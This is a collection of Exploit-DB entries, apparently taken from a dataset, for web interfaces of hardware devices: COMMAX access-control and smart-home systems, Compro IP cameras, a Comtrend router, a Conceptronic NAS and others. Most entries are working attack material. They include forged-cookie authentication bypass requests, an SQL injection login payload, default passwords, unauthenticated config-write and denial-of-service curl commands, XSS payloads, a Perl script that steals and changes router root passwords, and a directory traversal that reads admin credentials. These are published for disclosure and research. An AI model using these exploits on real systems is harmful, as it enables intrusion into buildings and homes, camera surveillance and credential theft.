deardaniel/secdata-raw huggingface dataset:
Exploit-DB #50206
Description: COMMAX Biometric Access Control System 1.0.0 - Authentication Bypass
Type: webapps
Platform: hardware
Date: 2021-08-16
Author: LiquidWorm

Exploit:
# Exploit Title: COMMAX Biometric Access Control System 1.0.0 - Authentication Bypass
# Date: 02.08.2021
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.commax.com

COMMAX Biometric Access Control System 1.0.0 Authentication Bypass


Vendor: COMMAX Co., Ltd.
Prodcut web page: https://www.commax.com
Affected version: 1.0.0

Summary: Biometric access control system.

Desc: The application suffers from an authentication bypass vulnerability.
An unauthenticated attacker through cookie poisoning can bypass authentication
and disclose sensitive information and circumvent physical controls in smart
homes and buildings.

Tested on: nginx/1.14.0 (Ubuntu)
           MariaDB/10.3.15


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5661
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5661.php


02.08.2021

--


The following request with Cookie forging bypasses authentication and lists available SQL backups.

GET /db_dump.php HTTP/1.1
Host: 192.168.1.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.1/user_add.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: CMX_SAVED_ID=zero; CMX_ADMIN_ID=science; CMX_ADMIN_NM=liquidworm; CMX_ADMIN_LV=9; CMX_COMPLEX_NM=ZSL; CMX_COMPLEX_IP=2.5.1.0
Connection: close


HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Tue, 03 Aug 1984 14:07:39 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 10316


<!DOCTYPE html>
<html class="no-js" lang="ko">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>::: COMMAX :::</title>
...
...
Exploit-DB #50210
Description: COMMAX CVD-Axx DVR 5.1.4 - Weak Default Credentials Stream Disclosure
Type: webapps
Platform: hardware
Date: 2021-08-16
Author: LiquidWorm

Exploit:
# Exploit Title: COMMAX CVD-Axx DVR 5.1.4 - Weak Default Credentials Stream Disclosure
# Date: 02.08.2021
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.commax.com

COMMAX CVD-Axx DVR 5.1.4 Weak Default Credentials Stream Disclosure


Vendor: COMMAX Co., Ltd.
Prodcut web page: https://www.commax.com
Affected version: CVD-AH04 DVR 4.4.1
                  CVD-AF04 DVR 4.4.1
                  CVD-AH16 DVR 5.1.4
                  CVD-AF16 DVR 4.4.1
                  CVD-AF08 DVR 5.1.2
                  CVD-AH08 DVR 5.1.2

Summary: COMMAX offers a wide range of proven AHD CCTV systems to meet customer
needs and convenience in single or multi-family homes.

Desc: The web control panel uses weak set of default administrative credentials that
can be easily guessed in remote password attacks and disclose RTSP stream.

Tested on: Boa/0.94.14rc19


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5667
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5667.php


02.08.2021

--


Login:
$ curl -X POST http://192.168.1.2/cgi-bin/websetup.cgi -d="passkey=1234"
HTTP/1.1 200 OK
Date: Mon, 16 Aug 2021 01:04:52 GMT
Server: Boa/0.94.14rc19
Accept-Ranges: bytes
Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN"  "http://www.w3.org/TR/html4/frameset.dtd">

IE (ActiveX) web player:
http://192.168.1.2/web_viewer2.html

Snapshots:
http://192.168.1.2/images/snapshot-01.jpg
http://192.168.1.2/images/snapshot-02.jpg
http://192.168.1.2/images/snapshot-nn.jpg


Creds:
Users: ADMIN,USER1,USER2,USER3
Password: 1234
Exploit-DB #50207
Description: COMMAX Smart Home IoT Control System CDP-1020n - SQL Injection Authentication Bypass
Type: webapps
Platform: hardware
Date: 2021-08-16
Author: LiquidWorm

Exploit:
# Exploit Title: COMMAX Smart Home IoT Control System CDP-1020n - SQL Injection Authentication Bypass
# Date: 02.08.2021
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.commax.com

COMMAX Smart Home IoT Control System CDP-1020n SQL Injection Authentication Bypass


Vendor: COMMAX Co., Ltd.
Prodcut web page: https://www.commax.com
Affected version: CDP-1020n
                  481 System

Summary: COMMAX Smart Home System is a smart IoT home solution for a large apartment
complex that provides advanced life values and safety.

Desc: The application suffers from an SQL Injection vulnerability. Input passed
through the 'id' POST parameter in 'loginstart.asp' is not properly sanitised
before being returned to the user or used in SQL queries. This can be exploited
to manipulate SQL queries by injecting arbitrary SQL code and bypass the authentication
mechanism.

Tested on: Microsoft-IIS/7.5
           ASP.NET


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5662
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5662.php


02.08.2021

--


POST /common/loginstart.asp?joincode={{truncated}} HTTP/1.1
Host: localhost
Connection: keep-alive
Content-Length: 37
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://localhost/mainstart.asp
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,mk;q=0.8,sr;q=0.7,hr;q=0.6
Cookie: {}

id=%27+or+1%3D1--&x=0&y=0&pass=waddup


HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 621
Content-Type: text/html
Server: Microsoft-IIS/7.5
Set-Cookie: {}
X-Powered-By: ASP.NET
Date: Tue, 03 Aug 1984 22:57:56 GMT
Exploit-DB #50209
Description: COMMAX Smart Home Ruvie CCTV Bridge DVR Service - Config Write / DoS (Unauthenticated)
Type: webapps
Platform: hardware
Date: 2021-08-16
Author: LiquidWorm

Exploit:
# Exploit Title: COMMAX Smart Home Ruvie CCTV Bridge DVR Service - Config Write / DoS (Unauthenticated)
# Date: 02.08.2021
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.commax.com

COMMAX Smart Home Ruvie CCTV Bridge DVR Service Unauthenticated Config Write / DoS


Vendor: COMMAX Co., Ltd.
Prodcut web page: https://www.commax.com
Affected version: n/a

Summary: COMMAX Smart Home System is a smart IoT home solution for a large apartment
complex that provides advanced life values and safety.

Desc: The application allows an unauthenticated attacker to change the configuration
of the DVR arguments and/or cause denial-of-service scenario through the setconf endpoint.

Tested on: GoAhead-Webs


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5666
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5666.php


02.08.2021

--


#1

$ curl -X POST http://192.168.1.1:8086/goform/setconf --data"manufacturer=Commax&Ch0=0&dvr0=rtsp%3A%2F%2Fadmin%3A1234zeroscience.mk%3A554%2FStream%2FCh01%3A554&dvr1=&dvr2=&dvr3=&dvr4=&dvr5=&dvr6=&dvr7=&dvr8=&dvr9=&dvr10=&dvr11=&dvr12=&dvr13=&dvr14=&dvr15=&dvr16=&dvr17=&dvr18=&dvr19=&dvr20=&dvr21=&dvr22=&dvr23=&ok=OK"

*   Trying 192.168.1.1...
* TCP_NODELAY set
* Connected to 192.168.1.1 (192.168.1.1) port 8086 (#0)
> POST /goform/setconf HTTP/1.1
> Host: 192.168.1.1:8086
> User-Agent: curl/7.55.1
> Accept: */*
> Content-Length: 257
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 257 out of 257 bytes
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Server: GoAhead-Webs
< Pragma: no-cache
< Cache-control: no-cache
< Content-Type: text/html
<
<html>
<br><br><center><table><tr><td>Completed to change configuration! Restart in 10 seconds</td></tr></table></center></body></html>
* Closing connection 0

#2

$ curl -v http://192.168.1.1:8086
* Rebuilt URL to: http://192.168.1.1:8086/
*   Trying 192.168.1.1...
* TCP_NODELAY set
* connect to 192.168.1.1 port 8086 failed: Connection refused
* Failed to connect to 192.168.1.1 port 8086: Connection refused
* Closing connection 0
curl: (7) Failed to connect to 192.168.1.1 port 8086: Connection refused
Exploit-DB #50208
Description: COMMAX Smart Home Ruvie CCTV Bridge DVR Service - RTSP Credentials Disclosure
Type: webapps
Platform: hardware
Date: 2021-08-16
Author: LiquidWorm

Exploit:
# Exploit Title: COMMAX Smart Home Ruvie CCTV Bridge DVR Service - RTSP Credentials Disclosure
# Date: 02.08.2021
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.commax.com

COMMAX Smart Home Ruvie CCTV Bridge DVR Service RTSP Credentials Disclosure

Vendor: COMMAX Co., Ltd.
Prodcut web page: https://www.commax.com
Affected version: n/a

Summary: COMMAX Smart Home System is a smart IoT home solution for a large apartment
complex that provides advanced life values and safety.

Desc: The COMMAX CCTV Bridge for the DVR service allows an unauthenticated attacker
to disclose RTSP credentials in plain-text.

Tested on: GoAhead-Webs


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5665
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5665.php


02.08.2021

--


$ curl http://TARGET:8086/overview.asp
<HTML>
<HEAD>
<TITLE> Infomation</TITLE>
<script src="./jquery.min.js"></script>
<script src="./jquery.cookie.js"></script>
<script src="./login_check.js"></script>
</HEAD>
<BODY>
<br><br>
<center>
<table>
<tr><td>
<li> [2021/08/15 09:56:46]  Started <BR> <li> MAX USER : 32 <BR> <li> DVR Lists <BR>[1] rtsp://admin:s3cr3tP@$$w0rd@10.0.0.17:554/Streaming/Channels/2:554 <BR>
</td></tr>
</table>
</center>
</BODY>
</HTML>


$ curl http://TARGET:8086/login_check.js:
var server_ip = $(location).attr('host');
var server_domain = server_ip.replace(":8086", "");

document.domain = server_domain;

var cookiesAuth = $.cookie("cookiesAuth");

if (cookiesAuth != "authok") {
    parent.document.location.href = "http://" + server_domain + ":8086/home.asp";
}
Exploit-DB #50253
Description: Compro Technology IP Camera - ' index_MJpeg.cgi' Stream Disclosure
Type: webapps
Platform: hardware
Date: 2021-09-02
Author: icekam

Exploit:
# Exploit Title: Compro Technology IP Camera - ' index_MJpeg.cgi' Stream Disclosure
# Date: 2021-09-30
# Exploit Author: icekam,xiao13,Rainbow,tfsec
# Software Link: http://www.comprotech.com.hk/
# Version: Compro IP70 2.08_7130218, IP570 2.08_7130520, IP60, TN540
# CVE : CVE-2021-40381

Has an unauthorized access vulnerability, which can lead to unauthorized
access to the camera video page.

Payload:

/cgi-bin/view/index_MJpeg.cgi

please refer to:
https://github.com/icekam/0day/blob/main/Compro-Technology-Camera-has-multiple-vulnerabilities.md
Exploit-DB #50254
Description: Compro Technology IP Camera - ' mjpegStreamer.cgi' Screenshot Disclosure
Type: webapps
Platform: hardware
Date: 2021-09-02
Author: icekam

Exploit:
# Exploit Title: Compro Technology IP Camera - ' mjpegStreamer.cgi' Screenshot Disclosure
# Date: 2021-09-30
# Exploit Author: icekam,xiao13,Rainbow,tfsec
# Software Link: http://www.comprotech.com.hk/
# Version: Compro IP70 2.08_7130218, IP570 2.08_7130520, IP60, TN540
# CVE : CVE-2021-40382

There is an unauthorized access vulnerability, which can lead to
unauthorized access to camera video screenshots.

Payload:

/mjpegStreamer.cgi

please refer to:
https://github.com/icekam/0day/blob/main/Compro-Technology-Camera-has-multiple-vulnerabilities.md
Exploit-DB #50250
Description: Compro Technology IP Camera - 'killps.cgi' Denial of Service (DoS)
Type: webapps
Platform: hardware
Date: 2021-09-02
Author: icekam

Exploit:
# Exploit Title: Compro Technology IP Camera - 'killps.cgi' Denial-of-Service (DoS)
# Date: 2021-09-30
# Exploit Author: icekam,xiao13,Rainbow,tfsec
# Software Link: http://www.comprotech.com.hk/
# Version: Compro IP70 2.08_7130218, IP570 2.08_7130520, IP60, TN540
# CVE : CVE-2021-40378

There is a backdoor prefabricated in the device in this path. Accessing the
file through the browser after logging in will cause the device to delete
all data (including the data of the camera itself).

Payload:Visit this page after logging in
/cgi-bin/support/killps.cgi

please refer to:
https://github.com/icekam/0day/blob/main/Compro-Technology-Camera-has-multiple-vulnerabilities.md
Exploit-DB #50252
Description: Compro Technology IP Camera - 'Multiple' Credential Disclosure
Type: webapps
Platform: hardware
Date: 2021-09-02
Author: icekam

Exploit:
# Exploit Title: Compro Technology IP Camera - 'Multiple' Credential Disclosure
# Date: 2021-09-30
# Exploit Author: icekam,xiao13,Rainbow,tfsec
# Software Link: http://www.comprotech.com.hk/
# Version: Compro IP70 2.08_7130218, IP570 2.08_7130520, IP60, TN540
# CVE : CVE-2021-40380

There are unauthorized access vulnerabilities, which can lead to the
disclosure of device administrator usernames and passwords or rstp
usernames and passwords.

Payload:

/cgi-bin/cameralist/cameralist.cgi
/cgi-bin/cameralist/setcamera.cgi?id=*

please refer to:
https://github.com/icekam/0day/blob/main/Compro-Technology-Camera-has-multiple-vulnerabilities.md
Exploit-DB #50251
Description: Compro Technology IP Camera - RTSP stream disclosure (Unauthenticated)
Type: webapps
Platform: hardware
Date: 2021-09-02
Author: icekam

Exploit:
# Exploit Title: Compro Technology IP Camera - RTSP stream disclosure (Unauthenticated)
# Date: 2021-09-30
# Exploit Author: icekam,xiao13,Rainbow,tfsec
# Software Link: http://www.comprotech.com.hk/
# Version: Compro IP70 2.08_7130218, IP570 2.08_7130520, IP60, TN540
# CVE : CVE-2021-40379

Some devices have unauthorized access to rstp, which can lead to the
leakage of surveillance video stream information.

Payload:rstp://.../medias2

please refer to:
https://github.com/icekam/0day/blob/main/Compro-Technology-Camera-has-multiple-vulnerabilities.md
Exploit-DB #47614
Description: Computrols CBAS-Web 19.0.0 - 'username' Reflected Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2019-11-12
Author: LiquidWorm

Exploit:
# Exploit Title: Computrols CBAS-Web 19.0.0 - 'username' Reflected Cross-Site Scripting
# Google Dork: NA
# Date: 2018-09-06
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.computrols.com/capabilities-cbas-web/
# Software Link: https://www.computrols.com/building-automation-software/
# Version: 19.0.0
# Tested on: NA
# CVE : CVE-2019-10846
# Advisory: https://applied-risk.com/resources/ar-2019-009
# Paper: https://applied-risk.com/resources/i-own-your-building-management-system

POST /cbas/index.php?m=auth&a=verifyid HTTP/1.1

username="><script>confirm(document.cookie)</script>&submit_button=Send+Me+a+New+Password+Via+Email

=======

POST /cbas/index.php?m=auth&a=login HTTP/1.1

username="><marquee>htmlinjection</marquee>&[CREDENTIAL_REDACTED]=60753c1b5e449de80e21472b5911594d&response=e[PII_REDACTED]b8b[PII_REDACTED]3840c62

=======

GET /cbas/index.php?m=auth&a=login&username="><marquee>my milkshake brings all the boys to the yard.</marquee>&password=damn_right HTTP/1.1
Exploit-DB #18101
Description: COMTREND CT-5624 Router - Root/Support Password Disclosure/Change
Type: webapps
Platform: hardware
Date: 2011-11-09
Author: Todor Donev

Exploit:
#!/usr/bin/perl
#
#  [+] Comtrend Router CT-5624 Remote Root/Support Password Disclosure/Change Exploit
#
#  Author: Todor Donev
#  Email: todor.donev@@gmail
#  Type: Hardware
#  Vuln Type: Remote
# 
#  Tested:
#  Board ID    : CT-5624
#  Software    : A011-306TSR-C01_R03
#  Bootloader  : 1.0.37-0.7-3
#  ADSL        : A2pB022c3.d20e
#
#  Board ID    : CT-5637
#  Software    : A111-312BTC-C01_R12
#  Bootloader  : 1.0.37-12.1-1
#  ADSL        : A2pB023k.d20k_rc2
#
#####
#  CT-5624 ADSL2+ Ethernet Router
#  The CT-5624 series ADSL2+ compact and high performance Ethernet router 
#  provides four 10/100 Ethernet Interfaces, and one ADSL line interface 
#  to access the Internet, incorporating LAN or Video on Demand over one 
#  ordinary telephone line, at speeds of up to 24 Mbps. It also has full 
#  routing capabilities to segment/route IP protocol, and supports advanced 
#  security functions. 
#####
#
#  playground$ perl comtrend.pl -c 192.168.1.1:80
#  [+] Comtrend CT5624 Router Remote Root/Support Password Disclosure/Change Exploit
#  [!] Target: 192.168.1.1:80
#  [o] New root [CREDENTIAL_REDACTED]
#  [o] New support [CREDENTIAL_REDACTED]
#  [*] Successfully !!
##
#  playground$ perl comtrend.pl -d 192.168.1.1:80
#  [+] Comtrend CT5624 Router Remote Root/Support Password Disclosure/Change Exploit
#  [!] Target: 192.168.1.1:80
#  [o] root: root31337
#  [o] support: sup31337
##
#  playground$ perl comtrend.pl
#  [+] Comtrend CT5624 Router Remote Root/Support Password Disclosure/Change Exploit
#  [!] usg: perl comtrend.pl [-c or -d] <victim>
#  [!]  -d: Disclosure Root/Support password
#  [!]  -c: Change Root/Support password
#
#####
#  Thanks to Tsvetelina Emirska 
#  for the help and support which gives me =)
#####

use LWP::Simple;
print "[+] Comtrend CT5624 Router Remote Root/Support Password Disclosure/Change Exploit\n";
if (@ARGV == 0) {&usg;}
while (@ARGV > 0) {
$type = shift(@ARGV);
$t = shift(@ARGV);
if ($type eq "-d") {
my $r = get("http://$t/password.cgi") or die("suck!");
print "[!] Target: $t\n";
if ($r =~ m/pwdAdmin = '(.*)';/g) {
$result .= "[o] root: $1\n";
}     
if ($r =~ m/pwdSupport = '(.*)';/g) {
$result .= "[o] support: $1\n";
print $result; 
}}}
if ($type eq "-c") {
print "[!] Target: $t\n";
print "[o] New root password: ";
my $rootpass=<STDIN>;
chomp($rootpass);
print "[o] New support password: ";
my $suppass=<STDIN>;
chomp($suppass);
my $r = get("http://$t/password.cgi?sys[CREDENTIAL_REDACTED]=$suppass") or die("suck!");
if ($r =~ m/pwdAdmin = '$rootpass';/g) {
print "[*] Successfully !!\n";
}}
sub usg(){
print "[!] usg: perl comtrend.pl [-c or -d] <victim>\n";
print "[!]  -d: Disclosure Root/Support password\n";
print "[!]  -c: Change Root/Support password\n";
exit;
}
Exploit-DB #21032
Description: Conceptronic Grab'n'Go Network Storage - Directory Traversal
Type: webapps
Platform: hardware
Date: 2012-09-03
Author: Mattijs van Ommeren

Exploit:
Security Advisory AA-003: Directory Traversal Vulnerability in Conceptronic Grab’n’Go Network Storage

Severity Rating: High
Discovery Date: July 29, 2012
Vendor Notification: July 30, 2012
Disclosure Date: September 3, 2012

Vulnerability Type=
Directory Traversal

Impact=
- System Access
- Exposure of sensitive information

Severity=
Alcyon rates the severity of this vulnerability as high due to the following properties:
- Ease of exploitation;
- No authentication credentials required;
- No knowledge about individual victims required;
- No interaction with the victim required;
- Number of Internet connected devices found.

Products and firmware versions affected=
- Conceptronic CH3ENAS firmware versions up to and including 3.0.12
- Conceptronic CH3HNAS firmware versions up to and including 2.4.13
- Possibly other rebranded Mapower network storage products

Risk Assessment=
An attacker can read arbitrary files, including the files that stores the administrative password.
This means an attacer could:
- Steal sensitive data stored on the device;
- Leverage the device to drop and/or host malware;
- Abuse the device to send spam through the victim’s Internet connection;
- Use the device as a pivot point to access locally connected systems or launch attacks directed to other systems.

Vulnerability=
The CGI-script that is responsible for showing the device logs is affected by a directory traversal vulnerability that 

allows an attacker to view arbitrary files.

Proof of Concept Exploit=

  curl "http://<victimIP>/cgi-bin/log.cgi?syslog&../../etc/sysconfig/config/webmaster.conf&Conceptronic2009"

Risk Mitigation=
At the time of disclosure no updated firmware version was available.
We recommend that you limit access to the devices's web management UI by utilizing proper packet filtering and/or NAT 

on your router in order to limit network access to your NAS. Although this will not completely eliminate the risk of 

exploitation, it becomes substantially more difficult to leverage a successful attack, because it would involve either 

a compromise of another host on the victim’s local network or a client side attack that overcomes the Same Origin 

Policy restrictions of the victim’s web browser.

Vendor Response=
- 2L/Conceptronic has declared on August 1 that it is not in their power to influence the manufacturer's patching 

process
- Mapower, the manufacturer of the affected products, has contacted us on August 28 for details on reproducing the 

issue on a CH3HNAS
- Mapower has confirmed on August 29 that they succesfully have reproduced the PoC exploit on a CH3HNAS and that they 

are working on a fix

Fixed Versions=
- There is currently no vendor patch available.

=Latest version of this advisory
http://www.alcyon.nl/advisories/aa-003/
Exploit-DB #44295
Description: Contec Smart Home 4.15 - Unauthorized Password Reset
Type: webapps
Platform: hardware
Date: 2018-03-16
Author: Z3ro0ne

Exploit:
# Title              : Contec smart home 4.15 Unauthorized Password Reset
# Shodan Dork		 : "content/smarthome.php"
# Vendor Homepage    : http://contec.co.il
# Tested on          : Google Chrome
# Tested version     : 4.15
# Date               : 2018-03-14
# Author             : Z3ro0ne
# Contact            : saadousfar59@gmail.com
# Facebook Page      : https://www.facebook.com/Z3ro0ne
 
# Vulnerability description :
the Vulnerability allow unauthenticated attacker to remotely bypass authentication and change admin password without old password and control (lamps,doors,air conditioner...)


# Exploit 

 To Reset Admin password 
 http://Ipaddress:port/content/new_user.php?user_name=ADMIN&[CREDENTIAL_REDACTED]_id=1
 
 To Create a new user
 http://Ipaddress:port/content/new_user.php?user_name=NEWUSER&[CREDENTIAL_REDACTED]_id=1
 
  To edit a user
 http://Ipaddress:port/content/edit_user.php?user_name=USER&[CREDENTIAL_REDACTED]_id=1
 
 To Delete a user 
 http://Ipaddress:port/content/delete_user.php?user_name=USER
 
 Users list  
 http://Ipaddress:port/content/user.php